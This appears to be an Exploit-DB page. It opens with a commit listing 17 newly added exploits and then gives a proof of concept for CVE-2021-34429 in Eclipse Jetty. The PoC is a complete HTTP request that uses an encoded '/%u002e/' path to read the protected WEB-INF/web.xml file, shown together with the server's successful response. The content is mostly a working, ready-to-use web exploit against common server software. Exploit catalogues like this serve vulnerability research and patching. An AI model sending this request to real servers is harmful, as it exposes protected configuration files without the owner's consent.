6829e7f3b7
17 changes to exploits/shellcodes RDP Manager 4.9.9.3 - Denial-of-Service (PoC) PHPJabbers Simple CMS 5 - 'name' Persistent Cross-Site Scripting (XSS) WordPress Plugin Hotel Listing 3 - 'Multiple' Cross-Site Scripting (XSS) Fuel CMS 1.4.1 - Remote Code Execution (3) Eclipse Jetty 11.0.5 - Sensitive File Disclosure WordPress Plugin Popup Anything 2.0.3 - 'Multiple' Stored Cross-Site Scripting (XSS) OpenAM 13.0 - LDAP Injection Simplephpscripts Simple CMS 2.1 - 'Multiple' Stored Cross-Site Scripting (XSS) Simplephpscripts Simple CMS 2.1 - 'Multiple' SQL Injection Sonicwall SonicOS 6.5.4 - 'Common Name' Cross-Site Scripting (XSS) PHP Melody 3.0 - 'Multiple' Cross-Site Scripting (XSS) PHP Melody 3.0 - 'vid' SQL Injection Mult-e-Cart Ultimate 2.4 - 'id' SQL Injection PHP Melody 3.0 - Persistent Cross-Site Scripting (XSS) Isshue Shopping Cart 3.5 - 'Title' Cross Site Scripting (XSS) Vanguard 2.1 - 'Search' Cross-Site Scripting (XSS) Ultimate POS 4.4 - 'name' Cross-Site Scripting (XSS)
41 lines
No EOL
1.3 KiB
Text
41 lines
No EOL
1.3 KiB
Text
# Exploit Title: Eclipse Jetty 11.0.5 - Sensitive File Disclosure
|
|
# Date: 2021-11-03
|
|
# Exploit Author: Mayank Deshmukh
|
|
# Vendor Homepage: https://www.eclipse.org/jetty/
|
|
# Software Link: https://repo1.maven.org/maven2/org/eclipse/jetty/jetty-distribution/
|
|
# Version: 9.4.37 ≤ version < 9.4.43, 10.0.1 ≤ version < 10.0.6, 11.0.1 ≤ version < 11.0.6
|
|
# Security Advisory: https://github.com/eclipse/jetty.project/security/advisories/GHSA-vjv5-gp2w-65vm
|
|
# Tested on: Kali Linux
|
|
# CVE : CVE-2021-34429
|
|
# Github POC: https://github.com/ColdFusionX/CVE-2021-34429
|
|
|
|
POC - Access WEB-INF/web.xml
|
|
|
|
## Request
|
|
|
|
GET /%u002e/WEB-INF/web.xml HTTP/1.1
|
|
Host: localhost:9006
|
|
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
|
|
Accept-Language: en-US,en;q=0.5
|
|
Accept-Encoding: gzip, deflate
|
|
Connection: close
|
|
Upgrade-Insecure-Requests: 1
|
|
|
|
## Response
|
|
|
|
HTTP/1.1 200 OK
|
|
Connection: close
|
|
Last-Modified: Wed, 03 Nov 2021 08:25:24 GMT
|
|
Content-Type: application/xml
|
|
Accept-Ranges: bytes
|
|
Content-Length: 209
|
|
Server: Jetty(11.0.5)
|
|
|
|
<!DOCTYPE web-app PUBLIC
|
|
"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
|
|
"http://java.sun.com/dtd/web-app_2_3.dtd" >
|
|
|
|
<web-app>
|
|
<display-name>ColdFusionX - Web Application</display-name>
|
|
</web-app> |